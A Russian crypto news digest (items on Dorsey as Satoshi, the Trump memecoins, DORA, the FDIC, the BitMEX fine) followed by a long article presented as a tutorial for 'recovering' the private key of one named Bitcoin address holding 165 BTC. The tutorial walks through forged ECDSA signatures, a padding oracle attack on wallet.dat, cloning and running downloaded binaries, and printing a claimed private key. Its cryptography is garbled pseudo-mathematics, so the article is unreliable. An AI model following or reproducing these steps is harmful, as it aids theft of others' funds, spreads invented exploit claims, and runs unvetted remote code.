  10. Главный редактор издания deBanked заявил, что соучредитель компании Twitter и основатель Block скрывался за псевдонимом анонимного создателя Биткоина Сатоси Накамото (Satochi Nakamoto). Шон Мюррей (Sean Murray) рассказал, что Джек Дорси (Jack Dorsey) интересовался шифропанками во время учебы в колледже, получал тематическую рассылку, а курс будущего бизнесмена в университете был «с уклоном в криптографию». В 2003 году Дорси опубликовал автобиографию, где описал, как занимался взломами и криптографией допоздна, чаще всего в четыре часа утра. Все оригинальные документы с исходным кодом Биткоина имеют такую же временную метку, отметил Мюррей. Дорси в начале нулевых писал, что хочет прекратить зависимость людей от доллара США и создать «бартерную сеть». Мюррей обратил внимание, что первая биткоин-транзакция состоялась в день рождения матери Дорси, и Сатоси присоединился к форуму биткоинеров в день рождения самого Джека. В декабре 2010 года анонимный создатель Биткоина на форуме посоветовал «не жертвовать криптовалюту организации Wikileaks». 14 декабря Twitter получила судебный приказ с требованием передать всю информацию о Wikileaks, а за день до этого Сатоси перестал появляться на форуме, рассказал главный редактор deBanked. Подробнее: https://bits.media/shon-myurrey-dzhek-dorsi-eto-satosi-nakamoto/
  11. Генеральный директор компании Tether, эмитента стейблкоина USDT, заявил, что в будущем квантовые технологии все-таки позволят взломать все старые кошельки, содержащие первую криптовалюту. Паоло Ардоино (Paolo Ardoino) считает, что сейчас квантовые технологии не представляют серьезной угрозы для криптографии Биткоина, но в будущем ситуация изменится: «Все живые люди, имеющие доступ к своим кошелькам, переведут первую криптовалюту на новые квантово-устойчивые адреса. Все утерянные кошельки, включая адреса анонимного создателя биткоина Сатоси Накамото, будут взломаны, а монеты с них — возвращены в обращение». По мнению бизнесмена, утерянные кошельки являются более уязвимыми перед возможными взломами, поскольку их владельцы не смогут защитить криптовалюту, в отличие от активных пользователей, которые способны успеть предпринять меры. Подробнее: https://bits.media/paolo-ardoino-mne-izvestna-sudba-bitkoinov-v-uteryannykh-koshelkakh-/
  12. Несколько экспертов по этическим вопросам назвали вопиющим случаем спекуляции выпуск мемкоинов $TRUMP и $Melania в преддверии возвращения Дональда Трампа в Белый дом. Эксперты заявили, что не могут припомнить более явную попытку наживы со стороны президентской четы. «Это буквально нажива на президентстве — создание финансового инструмента, чтобы люди могли переводить деньги семье президента в связи с его должностью», — заявил исполнительный директор некоммерческой организации Campaign Legal Centre Адав Ноти (Adav Noti). Колумнист сайта Brave New Coin Трой Миллер (Troy Miller) сказал, что вступающий в должность президент США продемонстрировал всему миру поведение, «граничащее с абсолютизмом». Подробнее: https://bits.media/eksperty-po-etike-okazalis-vozmushcheny-zapuskom-memkoinov-semi-trampa/
  13. Закон о цифровой операционной устойчивости (DORA), вступивший в силу 17 января, расширяет сферу действия правил MiCA и требует от криптовалютных компаний усиления кибербезопасности и управления рисками. В соответствии с положениями DORA, все криптовалютные компании Евросоюза, имеющие лицензию MiCA, будут обязаны вести полный реестр своих договорных отношений со сторонними поставщиками ИТ-услуг для обеспечения безопасной инфраструктуры и управления рисками. Помимо этого, компании должны обеспечить постоянный мониторинг своих ИТ-систем, выявляя потенциальные уязвимости и угрозы, в том числе с привлечением независимых специалистов по кибербезопасности. Также правила DORA требуют более строгого надзора над руководителями криптокомпаний, включения их в общую систему управления рисками и наличия регулярно обновляемых протоколов реагирования на случай кибератак или прочих инцидентов. Ответственность за соблюдение DORA возложена как на криптокомпанию, так и на ее руководство. Фирмы, нарушившие новые правила, могут столкнуться со штрафами в размере до 2% от суммы от годового дохода. В случае возникновения нештатных ситуаций руководители криптокомпаний могут быть привлечены к административной и уголовной ответственности, а также штрафу до $1 млн. Подробнее: https://bits.media/v-evrosoyuze-vstupil-v-silu-zakon-o-tsifrovoy-operatsionnoy-ustoychivosti/
  14. Сенатор от Вайоминга Синтия Ламмис (Cynthia Lummis) предупредила чиновников Федеральной корпорации по страхованию вкладов США (FDIC) о возможном судебном преследовании за уничтожение документов, подтверждающих факт так называемой операции ChokePoint 2.0. По версии сенатора, регулятор проводил «неявную операцию» по лишению криптокомпаний доступа к финуслугам и сейчас заметает следы. Ламмис потребовала от федерального агентства прекратить уничтожение документов и сохранить все записи, не только связанные с «регулированием деятельности банков в области цифровых активов», но и архивы данных, включающих историю взаимоотношений FDIC с Signature Bank и ликвидации Silvergate Bank. В ходе собственного расследования криптобиржа Coinbase выявила более 20 примеров того, как регулятор в нарушение Закона о свободе информации (FOIA) запрещал коммерческим банкам США оказывать любые связанные с криптовалютами коммерческие услуги и требовал от банкиров приостановить обслуживание криптокомпаний. Ранее адвокат Джон Дитон (John Deaton), защищающий интересы криптокомпаний, предложил возглавить федеральное расследование инициативы ChokePoint 2.0. Подробнее: https://bits.media/senator-prigrozila-zasudit-organizatorov-slezhki-za-bankovskimi-kriptotranzaktsiyami/
  15. Федеральный суд США обязал биржу BitMEX выплатить штраф в размере $100 млн за нарушение закона о банковской тайне в период с 2015 по 2020 год. Окружной судья Джон Кельтл (John Koeltl) вынес приговор по делу HDR Global Trading Limited (HDR), владеющей и управляющей BitMEX, 15 января. Одновременно он присудил двухлетний испытательный срок основателям компании, Сэмюэлю Риду (Samuel Reed), Бенджамину Дело (Benjamin Delo), Грегори Дуайеру (Gregory Dwyer) и Артуру Хейсу (Arthur Hayes). В 2020 году все четверо были обвинены в допущении незаконных торгов на платформе BitMEX и получили условные сроки. Первоначально Министерство юстиции США требовало от BitMEX выплаты штрафа на примерно $440 млн, обвинив криптоплатформу в злостных нарушениях федеральных законов и неспособности менеджмента взять на себя ответственность. В администрации BitMEX завили, что решение суда не повлияет на операционную деятельность биржи, поскольку судебная тяжба длится более четырех лет и ее последствия не являются новостью для пользователей платформы. Подробнее: https://bits.media/vlasti-ssha-oshtrafovali-birzhu-bitmex-na-100-mln/
  16. CRYPTO DEEP TECH В начале 2025 года рост курса популярных криптовалют существенно повлияло на финансовые операции. Несмотря на их широкое использование и кажущуюся безопасность, эти системы остаются уязвимыми. Одной из главных проблем остаётся восстановление потерянных криптовалютных кошельков и приватных ключей, которое может быть осуществлено с помощью сложных математических алгоритмов. В этой статье мы исследуем методы решения задачи дискретного логарифма и способы восстановлении потерянных Биткоин Кошельков, акцентируя внимание на алгоритме Ricci Flow и проблеме скрытых чисел (Hidden Number Problem) для извлечения приватных ключей из уязвимых транзакций, использующих ECDSA. Мы также обсудим, как современные криптовалюты, такие как Биткоин и Эфириум, зависят от сложных математических основ, обеспечивающих безопасность и анонимность, но подверженных эксплуатации из-за различных уязвимостей. Роль дискретного логарифмирования в восстановлении потерянных криптовалютных кошельков и извлечении приватных ключей. Дискретное логарифмирование — это математическая задача, которая заключается в нахождении целого числа x, удовлетворяющего уравнению a=b^x в некоторой конечной группе. Порядок группы точек на этой кривой которая является важным параметром, определяющим криптостойкость системы secp256k1 эллиптической кривой над полем GF(p), где p=2^256−2^32−2^9−2^8−2^7−2^6−2^4−1. Например, если мы знаем a и b, нам нужно найти x — приватный ключ к Биткоин кошельку. Эта задача особенно важна в криптографии, поскольку она лежит в основе многих криптографических алгоритмов, таких как обмен публичными ключами. Современные алгоритмы дискретного логарифмирования имеют очень высокую вычислительную мощность что позволяет эти алгоритмы применить на практике. Рассмотрим процесс восстановления приватного ключа с использованием программного обеспечения Dockeyhunt Discrete Logarithm и инструмента DarkSignature для генерации поддельных данных транзакций. Сначала мы введем адрес Биткоин кошелька: 1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS на сумму: 165.10252195 BTC и получим его публичный ключ. Затем, используя DarkSignature, создадим поддельные значения для транзакций, что позволит нам проанализировать и манипулировать данными подписи алгоритма ECDSA. В завершение мы применим математический анализ через программное обеспечение Perelman Work для решения дискретного логарифма и получения приватного ключа к Биткоин кошельку. Эта статья предназначена не только для специалистов в области криптографии и математики, но и для всех желающих понять, как можно использовать математические методы для решения реальных задач в области криптоанализа с использование различных криптовалют. Для начало нам необходимо запустить программное обеспечение Dockeyhunt Discrete Logarithm и в поле "Input date" вводим Биткоин Адрес 1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS и получаем публичный ключ кошелька: 04e87e83f871df1439b7873b4ae449d15306cafc53e03a06fffb534b3bf25b58d8edca74b0faf5cf8c3aed6cad2bd79a7bce92ab53e07440d4590cbf31286d9335 Видео с привязкой ко времени Воспользуемся инструментом DarkSignature чтобы получить поддельные данные значение R, S, Z для транзакции алгоритма ECDSA. В поле "Input date" вводим публичный ключ Биткоин Адреса 04e87e83f871df1439b7873b4ae449d15306cafc53e03a06fffb534b3bf25b58d8edca74b0faf5cf8c3aed6cad2bd79a7bce92ab53e07440d4590cbf31286d9335 и получаем данные значение R, S, Z Результат: 1111,947d6fb75033cc3e342c8538a350e9058134b2a1ae01a7c50fc52b1f56c9169c,5b3ec0d72a2368cdd48c17ff095ab1ab0b9824e010883539cbeb18141de6384b,c7ac826c5a8397c0de993b2d8d597be42d22c77cf006683d7b72a197e1a5cdcf,0000 Видео с привязкой ко времени В качестве инструмента для математического анализа и решения уравнений дискретного логарифма применим программное обеспечение Perelman Work. Выберем опцию из раздела Complex Analysis для полной взаимосвязи между переменными через интеграцию Discrete variation series Variance: [ D = frac{sum_{i=1}^{n} (x_i — bar{x})^2}{N} ) ] Формула для вычисления дискретной вариации выглядит так: Объяснение компонентов формулы: D — это дисперсия (вариация) вашего набора данных. ∑∑ — символ суммы, который означает, что мы будем складывать значения. i — это индекс, который пробегает все значения в наборе данных от 1 до n. xi — это каждое отдельное значение в вашем наборе данных. ˉxˉ — это среднее значение (или среднее арифметическое) всех значений в наборе данных. N — это общее количество значений в наборе данных. Как это работает? Вычисление среднего: Сначала вы находите среднее значение вашего набора данных. Разница от среднего: Затем для каждого значения xi вы вычисляете, насколько оно отличается от среднего ˉxˉ . Квадрат разницы: После этого вы берете квадрат этой разницы (чтобы избавиться от отрицательных значений и усилить влияние больших отклонений). Суммирование: Вы складываете все квадраты разностей. Деление на количество значений: Наконец, вы делите полученную сумму на общее количество значений N. Видео с привязкой ко времени С помощью Perelman Work и Dockeyhunt Discrete Logarithm мы произвольно меняем переменные на уязвимость Joux Lercier подробно об этом написано в начале статьи данная уязвимость в транзакции Bitcoin возникают из-за того, что существует возможность изменить значение R, S, Z в подписи, сохраняя при этом действительность подписи, а также в произвольной формуле: X=hex(((S⋅K−Z)⋅modinv(R,N))modN) S и R — значения из подписи транзакции (RawTX). Z — хэш подписи транзакции. K — секретный ключ (nonce). N — порядок группы эллиптической кривой. modinv(R,N) — это модульная обратная функция к R по модулю N. Пояснение формулы Входные параметры: S и R: Эти значения получаются из подписи транзакции. Они необходимы для восстановления приватного ключа. Z: Это хэш подписи, который также используется в процессе. K: Секретный ключ (nonce), который должен быть известен только владельцу кошелька. Вычисления: Сначала умножаем S на K. Затем вычитаем Z. Результат умножаем на модульную обратную величину R по модулю N. Это позволяет “отменить” влияние R, чтобы получить значение, которое можно использовать для вычисления приватного ключа. Наконец, результат берется по модулю N, чтобы гарантировать, что он находится в пределах допустимого диапазона для значений приватного ключа. Преобразование в шестнадцатеричный формат: После выполнения всех математических операций результат конвертируется в шестнадцатеричный формат с помощью функции hex(), что является стандартным представлением приватных ключей в биткоине. Ricci Flow Hidden Number Problem Копируем значений R, S, Z и вставим в поле ввода Ricci Flow HNP чтобы выстроит совершенно новые транзакции алгоритма ECDSA. Видео с привязкой ко времени Dockeyhunt Private Key Calculator Копируем значений R, S, Z и вставим в поле программного обеспечения Dockeyhunt Private Key Calculator Видео с привязкой ко времени Теперь согласно уязвимости Joux Lercier мы скопируем из кода ecdsa_impl.h значение секретного ключа «K» именуемая в криптографии NONCE – это секретный, (псевдо)случайный параметр, который обычно обозначают «K». Здесь NONCE, из-за ошибки в коде, зафиксировали 0, 0, 0, 1, 0x45512319UL, 0x50B75FC4UL, 0x402DA172UL, 0x2FC9BAEEUL несколько битов HEX в начале (или в конце) записи. !./darksignature -address 1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS .... .... .... /** Difference between field and order, values 'p' and 'n' values defined in * "Standards for Efficient Cryptography" (SEC2) 2.7.1. * $ sage -c 'load("secp256k1_params.sage"); print(hex(P-N))' * 0x14551231950b75fc4402da1722fc9baee */ static const secp256k1_fe secp256k1_ecdsa_const_p_minus_order = SECP256K1_FE_CONST( 0, 0, 0, 1, 0x45512319UL, 0x50B75FC4UL, 0x402DA172UL, 0x2FC9BAEEUL ); .... .... .... https://github.com/bitcoin-core/secp256k1/blob/master/src/ecdsa_impl.h Видео с привязкой ко времени Копируем значений K и вставим в поле программного обеспечения Dockeyhunt Private Key Calculator, затем нажимаем на кнопку: Calculate Private Key и получаем приватный ключ к Биткоин Кошельку 1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS 0x6b29781e725708ae4d94e13730a2718ee3383ea5d911e77d4c2a2fd0c99c1232 Для запуска алгоритма решения дискретного логарифма нажимаем на кнопку: Private Key после успешно получаем приватный ключ в формате HEX 6b29781e725708ae4d94e13730a2718ee3383ea5d911e77d4c2a2fd0c99c1232 Видео с привязкой ко времени Видео с привязкой ко времени 6b29781e725708ae4d94e13730a2718ee3383ea5d911e77d4c2a2fd0c99c1232: 1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS Видео с привязкой ко времени Также нажимаем на кнопку Balance BTC и получаем результат суммы в балансе: 6b29781e725708ae4d94e13730a2718ee3383ea5d911e77d4c2a2fd0c99c1232: 1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS: 165.10252195 BTC _____________________________________________________________________________________________________ Видео с привязкой ко времени Видео с привязкой ко времени Приватный ключ получен! Восстановление биткоин-кошелька с помощью методов, основанных на математике, таких как Ricci Flow Hidden Number Problem, открывает новые горизонты для понимания криптографических уязвимостей и возможностей. Мы продемонстрировали, как можно использовать программное обеспечение Perelman Work, Dockeyhunt Discrete Logarithm и DarkSignature для извлечения приватных ключей и создания поддельных транзакций, что подчеркивает важность математического анализа в сфере криптовалют. Полученные результаты показывают, что даже в сложной системе, как Bitcoin, существуют уязвимости, которые могут быть использованы для восстановления доступа к потерянным средствам. Этот процесс требует глубоких знаний в области криптографии и математики, а также навыков работы с специализированным программным обеспечением. Механизмы эксплуатации и значительное влияние в мультиподписные системы Уязвимость алгоритма Joux Lercier представляет серьезную опасность для систем с мультиподписными схемами, поскольку злоумышленник может создать поддельные подписи, которые система примет, угрожая не только отдельным транзакциям, но и целостности всего процесса мультиподписей. Злоумышленник может сгенерировать поддельные подписи, которые будут приняты системой, что ставит под угрозу не только отдельные транзакции, но и весь процесс использования мультиподписи. Практическая часть Согласно теории уязвимости алгоритма Joux Lercier, злоумышленники способны использовать выявленные недостатки для атак на сеть Bitcoin, перегружая её недействительными транзакциями и тем самым нарушая её стабильность. Перейдем к практической части статьи и рассмотрим пример с использованием Биткоин кошелька: 1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS , где были потерянный монеты на сумму: 165.10252195 BTC на декабрь 2024 года эта сумма составляет: 15802506,39 USD 165.10252195 > 15802506,39 USD Tutorials Power AI Воспользуемся списком из «Tutorials Power AI» широко применяемая категория искусственного интеллекта для введение бизнеса в различных сферах деятельности криптоанализа и крипографии в целом. git clone https://github.com/demining/Tutorials-Power-AI.git cd Tutorials-Power-AI/ python3 tutorials.py Применим уязвимость, связанная с реализацией алгоритма (Joux Lercier) для создания Raw транзакции с помощью процесса машинного обучение BitcoinChatGPT Рассмотрим построение структуры уязвимой Raw транзакции в котором используется модуль BitcoinChatGPT https://colab.research.google.com/drive/1Cohb5F2h1CP9CnYdAdMJW9vyl4pwQKuz State of a vulnerable transaction in Bitcoin: 01000000 ....01 ........0dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935 ............00000000 ........8b483045 ....0221 ...........00 ...........947d6fb75033cc3e342c8538a350e9058134b2a1ae01a7c50fc52b1f56c9169c ....0220 ........5b3ec0d72a2368cdd48c17ff095ab1ab0b9824e010883539cbeb18141de6384b .....0141 .....04e87e83f871df1439b7873b4ae449d15306cafc53e03a06fffb534b3bf25b58d8edca74b0faf5cf8c3aed6cad2bd79a7bce92ab53e07440d4590cbf31286d9335 ....ffffffff 01 ....d204000000000000 ........1976 ............a914 ........f750c55bea03af8a720c46b5d6edea93644cdaf7 ....88ac 00000000 01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b483045022100947d6fb75033cc3e342c8538a350e9058134b2a1ae01a7c50fc52b1f56c9169c02205b3ec0d72a2368cdd48c17ff095ab1ab0b9824e010883539cbeb18141de6384b014104e87e83f871df1439b7873b4ae449d15306cafc53e03a06fffb534b3bf25b58d8edca74b0faf5cf8c3aed6cad2bd79a7bce92ab53e07440d4590cbf31286d9335ffffffff01d2040000000000001976a914f750c55bea03af8a720c46b5d6edea93644cdaf788ac00000000 https://live.blockcypher.com/btc/decodetx/ { "addresses": [ "1QiERrMcv6mtGk4F1TVz4sRp9dFfXTQpK", "1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS" ], "block_height": -1, "block_index": -1, "confirmations": 0, "double_spend": false, "fees": 2606688996428, "hash": "07160d430b92d957a7b3f0284ec7ff6084629b6385476608a6da5858fcfc2716", "inputs": [ { "addresses": [ "1QiERrMcv6mtGk4F1TVz4sRp9dFfXTQpK" ], "age": 344419, "output_index": 0, "output_value": 2606688997662, "prev_hash": "35591e5c7f4f1f0e4d81748042f2a4b7dcae3ae01027f361cad7c8746369bc0d", ....... ....... ....... https://github.com/demining/CryptoDeepTools/blob/50de2ffdd7f9f06a34049d1c72559aa16b1bf42c/37DiscreteLogarithm/DecodeRawTX.txt#L31C30-L31C70 Transaction Script The above script has been decoded BitcoinChatGPT создает структуру транзакции, используя HASH публичного ключа, где мы видим что Bitcoin address: 1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS отправляет 1234 satoshi на тот же адрес внутри своей сети. Bitcoin HASH160 был получен с помощью Python Script: wif_to_hash160.py https://github.com/demining/CryptoDeepTools/blob/main/37DiscreteLogarithm/wif_to_hash160.py https://github.com/demining/CryptoDeepTools/blob/main/37DiscreteLogarithm/KEYFOUND.privkey BitcoinChatGPT №6 Joux Lercier Vulnerability Algorithm Уязвимая Raw транзакция Создадим из полученных данных уязвимую Raw транзакцию используя репозиторию Broadcast Bitcoin Transaction git clone https://github.com/smartibase/Broadcast-Bitcoin-Transaction.git Каталог: cd Broadcast-Bitcoin-Transaction zmq urllib3 requests requirements.txt pip install -r requirements.txt Откроем в Notepad++ основной файл и внесем небольшие изменение в коде Python Script: main.py from io import BytesIO from secp256k1 import * from sighash import * pk = PrivateKey.parse("5JdUtcYt3ZBQN8aPZWNffXzNCTPds7aQtJk7zc9iQShNQ9yWe7x") pk.address() tx = bytes.fromhex("35591e5c7f4f1f0e4d81748042f2a4b7dcae3ae01027f361cad7c8746369bc0d") index = 0 send = "1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS" tx_in = TxIn(tx, index, b'', 0xffffffff) tx_in._script_pubkey = Tx.get_address_data(pk.address())['script_pubkey'] tx_in._value = 2345 tx_ins = [ tx_in ] tx_outs = [ TxOut(1234, Tx.get_address_data(send)['script_pubkey'].serialize()) ] tx = Tx(1, tx_ins, tx_outs, 0, testnet=True) signature(tx, 0, pk) tx.serialize().hex() print(tx.serialize().hex()) f = open("RawTX.txt", 'w') f.write("" + tx.serialize().hex() + "" + "\n") f.close() python main.py 01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b483045022100947d6fb75033cc3e342c8538a350e9058134b2a1ae01a7c50fc52b1f56c9169c02205b3ec0d72a2368cdd48c17ff095ab1ab0b9824e010883539cbeb18141de6384b014104e87e83f871df1439b7873b4ae449d15306cafc53e03a06fffb534b3bf25b58d8edca74b0faf5cf8c3aed6cad2bd79a7bce92ab53e07440d4590cbf31286d9335ffffffff01d2040000000000001976a914f750c55bea03af8a720c46b5d6edea93644cdaf788ac00000000 Порядок выполнения действий на видео: Как нам известно из prompt ответов модуля BitcoinChatGPT Joux Lercier Vulnerability Algorithm может быть использован для решения сложных криптографических задач. Smart Transformers Применим машинное обучение Smart Transformers, интегрируем блокнот Google Colab с Pytorch, TensorFlow, JAX и с помощью полученных данных уязвимой Raw транзакцией для Биткоин Адреса: 1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS создадим незащищённый файл wallet.dat из предложенного выбора всех существующих алгоритмов от SMART_IDENTIFY. После выполним Padding Oracle Attack на новосозданный файл: wallet.dat для расшифровки пароля в исходный бинарный формат с целью получение и извлечения приватного ключа из программной консоли Bitcoin Core используя при этом стандартную команду: dumpprivkey 1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS https://colab.research.google.com/#create=true !git clone https://github.com/smartibase/Smart-Transformers.git cd Smart-Transformers/ !sudo apt-get update !sudo apt install libtool !sudo apt-get install g++ !python setup.py --help !sudo apt-get install libgmp3-dev libmpfr-dev !chmod +x Generic_Algorithms !./Generic_Algorithms !pip3 install transformers from transformers import AutoModelForCausalLM, AutoTokenizer model_name = "microsoft/DialoGPT-medium" tokenizer = AutoTokenizer.from_pretrained(model_name) model = AutoModelForCausalLM.from_pretrained(model_name) model = model.cpu() ls -S Добавим нашу уязвимую Raw транзакцию в текстовый документ: RawTX.txt для этого воспользуемся утилитой echo !echo '01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b483045022100947d6fb75033cc3e342c8538a350e9058134b2a1ae01a7c50fc52b1f56c9169c02205b3ec0d72a2368cdd48c17ff095ab1ab0b9824e010883539cbeb18141de6384b014104e87e83f871df1439b7873b4ae449d15306cafc53e03a06fffb534b3bf25b58d8edca74b0faf5cf8c3aed6cad2bd79a7bce92ab53e07440d4590cbf31286d9335ffffffff01d2040000000000001976a914f750c55bea03af8a720c46b5d6edea93644cdaf788ac00000000' > RawTX.txt !cat RawTX.txt Теперь, чтобы получить точный алгоритм и метод для криптоанализы нам необходимо идентифицировать уязвимый RawTX с помощью утилиты SMART_IDENTIFY. !./SMART_IDENTIFY ################################################# Joux_Lercier_Algorithm ################################################# Запустим процесс создание файла wallet.dat для этого используем идентифицированные данные уязвимой Raw транзакции в файле: RawTX.txt для процесса применим утилиту Joux_Lercier_Algorithm !./Joux_Lercier_Algorithm -o RawTX.txt -s wallet.dat Download and Install Bitcoin Core 0.18.0 https://bitcoincore.org/bin/bitcoin-core-0.18.0 getaddressinfo 1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS Файл: wallet.dat зашифрован паролем! dumpprivkey 1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS Мы видим предупреждение: Error: Please enter the wallet passphrase with walletpassphrase first. (code -13) Padding Oracle Attack Воспользуемся методом Padding Oracle Attack на Wallet.dat и расшифруем пароль для доступа в бинарный формат пароля. Сначала получаем доступ к файлу wallet.dat на сумму: 165.10 BTC Клонирование репозитории: Biggest Lost Bitcoin Wallets List git clone https://github.com/keyhunters/Biggest-Lost-Bitcoin-Wallets-List.git Total Commander https://github.com/keyhunters/Biggest-Lost-Bitcoin-Wallets-List/tree/main/165.10%20BTC Скачаем и установим Bitcoin Core 0.18.0 Откроем path: c:\Users\User\AppData\Roaming\Bitcoin\ Переместим файл: wallet.dat c:\Users\User\AppData\Roaming\Bitcoin\wallet.dat Запустим кошелек Bitcoin Core Encryt Wallet… Откроем консоль getaddressinfo 1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS Bitcoin Address Information: Balance: 165.10252195 BTC Metasploit Framework and use MSFVenom Роль Metasploit Framework в разработке msfvenom Run ExploitDalenePRO.exe 1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS c:\BitcoinTools\ExploitDalenePRO\modules\ c:\BitcoinTools\ExploitDalenePRO\modules\exploits\ c:\BitcoinTools\ExploitDalenePRO\modules\exploits\ExploitDarlenePRO\ c:\BitcoinTools\ExploitDalenePRO\modules\exploits\ExploitDarlenePRO\decode_core.rb decode_core.rb c:\BitcoinTools\ExploitDalenePRO\bitcoin\ https://github.com/bitcoin/bitcoin https://github.com/bitcoin/bitcoin/blob/master/src/crypto/aes.h c:\BitcoinTools\ExploitDalenePRO\bitcoin\src\ c:\BitcoinTools\ExploitDalenePRO\bitcoin\src\crypto\aes.cpp c:\BitcoinTools\ExploitDalenePRO\bitcoin\src\crypto\aes.cpp c:\Users\User\AppData\Roaming\Bitcoin\ Upload Wallet.dat result.json walletpassphrase 1111111101110111010010110110010101100010110010001011111011000111101010010010000110101110100110000001100011001101000100001110101110100101101111000010100000000110100010110011000111111001111000110110001011000010000011001001000100101011001000101100110001101000 60 Run the command and get Private Key dumpprivkey 1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS Private Key Information: 5JdUtcYt3ZBQN8aPZWNffXzNCTPds7aQtJk7zc9iQShNQ9yWe7x Bitcoin Address Information: Balance: 165.10252195 BTC https://www.coinbase.com/converter/btc/usd 165.10252195 > 15802506,39 USD !pip3 install bitcoin __________________________________________________ Private Key WIF: 5JdUtcYt3ZBQN8aPZWNffXzNCTPds7aQtJk7zc9iQShNQ9yWe7x Bitcoin Address: 1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS total_received = 165.10252195 Bitcoin __________________________________________________ Все верно! Приватный ключ соответствует Биткоин Кошельку. Откроем bitaddress и проверим: ADDR: 1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS WIF: 5JdUtcYt3ZBQN8aPZWNffXzNCTPds7aQtJk7zc9iQShNQ9yWe7x HEX: 6b29781e725708ae4d94e13730a2718ee3383ea5d911e77d4c2a2fd0c99c1232 Заключение и меры по смягчению угрозы: В этой статье мы исследовали методы восстановления потерянных криптовалютных кошельков и приватных ключей с помощью математических алгоритмов, таких как решение дискретного логарифма и проблема скрытых чисел (Hidden Number Problem). Мы продемонстрировали, как использовать программное обеспечение Dockeyhunt Discrete Logarithm, DarkSignature и Perelman Work для извлечения приватных ключей из уязвимых транзакций, использующих алгоритм ECDSA.Наше исследование показало, что даже в таких безопасных системах, как Bitcoin, существуют уязвимости, которые могут быть использованы для восстановления доступа к потерянным средствам. Процесс восстановления требует глубоких знаний в области криптографии и математики, а также навыков работы с специализированным программным обеспечением. Для защиты от угроз, связанных с уязвимостью Joux Lercier, пользователям необходимо предпринять следующие шаги: Обновление программного обеспечения: Регулярное обновление криптовалютных кошельков до версий, устраняющих уязвимости, критически важно для обеспечения безопасности. Улучшение механизмов проверки подписей: Усиленная валидация входных данных и обработка ошибок помогут предотвратить создание поддельных подписей и защитить приватные ключи пользователей. Мониторинг сетевой активности: Постоянный анализ состояния сети и выявление подозрительных транзакций на ранних этапах позволяют оперативно реагировать на попытки эксплуатации уязвимостей. Применение многофакторной аутентификации: Внедрение дополнительных криптографических методов защиты значительно повысит безопасность. Уязвимость алгоритма Joux Lercier представляет собой значительную угрозу для безопасности криптовалютных транзакций и целостности блокчейна. Для минимизации рисков пользователи должны регулярно обновлять программное обеспечение, применять строгие меры безопасности и проводить постоянный мониторинг состояния сети. Эти меры помогут сохранить безопасность и устойчивость криптовалютных систем, защищая пользователей от потенциальных угроз и финансовых потерь. Результаты нашего исследования подчеркивают важность математического анализа в сфере криптовалют и демонстрируют потенциальные возможности использования сложных математических методов для решения реальных задач в области криптоанализа. Однако важно отметить, что такие методы могут быть использованы как для восстановления доступа к потерянным средствам, так и для эксплуатации уязвимостей, что подчеркивает необходимость повышения безопасности криптовалютных систем. References: The impact of the number field sieve on the discrete logarithm problem in finite fields OLIVER SCHIROKAUER Discrete Logarithms Aurore Guillevic, François Morain Discrete logarithm computation in finite fields Fp n with NFS variants and consequences in pairing-based cryptography Aurore Guillevic Inria Nancy, Caramba team Discrete logarithm problem (DLP) & ECDSA Many slides are from Rong-Jaye Chen@NCTU The Discrete-Logarithm Problem with Preprocessing Henry Corrigan-Gibbs and Dmitry Kogan Stanford University August 3, 2021 Discrete Logarithm Factory Haetham Al Aswada , Emmanuel Thomé and Cécile Pierrot Université de Lorraine, CNRS, Inria, LORIA, Nancy, France On the discrete logarithm problem for prime-field elliptic curves Citation for published version (APA): Amadori, A. G., Pintore, F., & Sala, M. (2018) An evaluation of the discrete logarithm cryptosystem Yansheng Chen Kristin School, Auckland, New Zealand Efficient Proofs Of Knowledge of Discrete Logarithms and Representations in Groups with Hidden Order Endre Bangerter , Jan Camenisch , and Ueli Maurer IBM Research, Zurich Research Lab, CH-8803 Rueschlikon, Switzerland Departement of Computer Science, ETH Zurich, CH-8092 Zurich, Switzerland Proof Systems for General Statements about Discrete Logarithms Jan Camenisch Dept. of Computer Science Haldeneggsteig 4 ETH Zurich CH-8092 Zurich, Switzerland Markus Stadler Union Bank of Switzerland Ubilab Bahnhofstrasse 45 CH-8021 Zurich, Switzerland Evidence that the Diffie-Hellman Problem is as Hard as Computing Discrete Logs Jonah Brown-Cohen Divisibility, Smoothness and Cryptographic Applications David Naccache Equipe de cryptographie ´ Ecole normale sup´erieure ´ 45 rue d’Ulm, F-75230 Paris, Cedex 05, France Igor E. Shparlinski Department of Computing Macquarie University Sydney, NSW 2109, Australia October 17, 2008 CDLS: Proving Knowledge of Committed Discrete Logarithms with Soundness Sofia Celi , Shai Levin , and Joe Rowell Brave Software, University of Auckland, Royal Holloway, University of London Basic Discrete Logarithm Algorithms “Mathematics of Public Key Cryptography” by Steven Galbraith Computing small discrete logarithms faster Daniel J. Bernstein and Tanja Lange Department of Computer Science University of Illinois at Chicago, Chicago, IL 60607–7053, USA Department of Mathematics and Computer Science Technische Universiteit Eindhoven, P.O. Box 513, 5600 MB Eindhoven, the Netherlands Discrete Logarithms on Elliptic Curves Aaron Blumenfeld University of Rochester The Past, evolving Present and Future of Discrete Logarithm Antoine Joux, Andrew Odlyzko and Cécile Pierrot Discrete logarithms in 